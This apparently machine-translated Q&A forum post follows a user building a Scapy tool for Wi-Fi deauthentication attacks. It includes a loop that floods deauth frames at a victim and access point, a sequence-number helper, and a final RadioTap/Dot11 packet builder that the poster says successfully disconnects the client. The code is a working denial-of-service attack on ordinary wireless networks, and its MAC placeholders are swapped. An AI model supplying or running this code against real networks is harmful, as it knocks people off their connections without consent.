将序列号添加到 Dot11 流量

Adding sequence numbers to Dot11 traffic

我正在尝试编写一个工具来执行简单的 deauth 攻击。这是我正在进行的工作代码:

from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep

AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"

interface = "MY_INTERFACE_NAME"

def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
    return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
            RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))


for n in range(1000):
    one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
    sendp([one, two], iface=interface, verbose=False)
    print(f"{n}/1000")

主要问题是,它没有成功地在受害机器上取消授权。我使用 aireplay-ng 开始了 deauth 攻击,比较了 wireshark 中的流量,我可以看到我的流量和他们的流量之间的主要区别是他们使用递增的序列号 (SN),而我的卡在 0 .

他们的:

虽然我不知道如何指定序号。我搜索了整个 dot11.py scapy 源文件,我能找到的唯一对“序列号”的引用是在 Dot11Auth 中,这似乎不对。

如何指定序号?

原来,这更多是我对802.11的误解。阅读 Wikipedia

The Sequence Control field is a two-byte section used for identifying message order as well as eliminating duplicate frames. The first 4 bits are used for the fragmentation number, and the last 12 bits are the sequence number.

因此,它实际上捆绑在 Dot11SC 字段中。

我编写了一个简单的函数来根据片段号和序列号生成 SC 值:

def produce_sc(frag: int, seq: int) -> int:
    return (seq << 4) + frag

其结果可以简单地插入:

RadioTap() \
/ Dot11(addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=produce_sc(0, 123)) \  # Here
/ Dot11Deauth(reason=7)

不幸的是,取消授权仍然不起作用,但至少我排除了这个原因。


我最初的问题是 RadioTap header 需要一个 present 参数:

def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
    sc = produce_sc(0, seq_num)
    return RadioTap(present="Rate+TXFlags") / \
           Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
           Dot11Deauth(reason=reason)

这对我来说没有多大意义,因为我认为 RadioTap header 是天线在捕获过程中注意到的条件的指示,而不是可以指定的东西发送时,但是。这成功取消了对客户端的授权。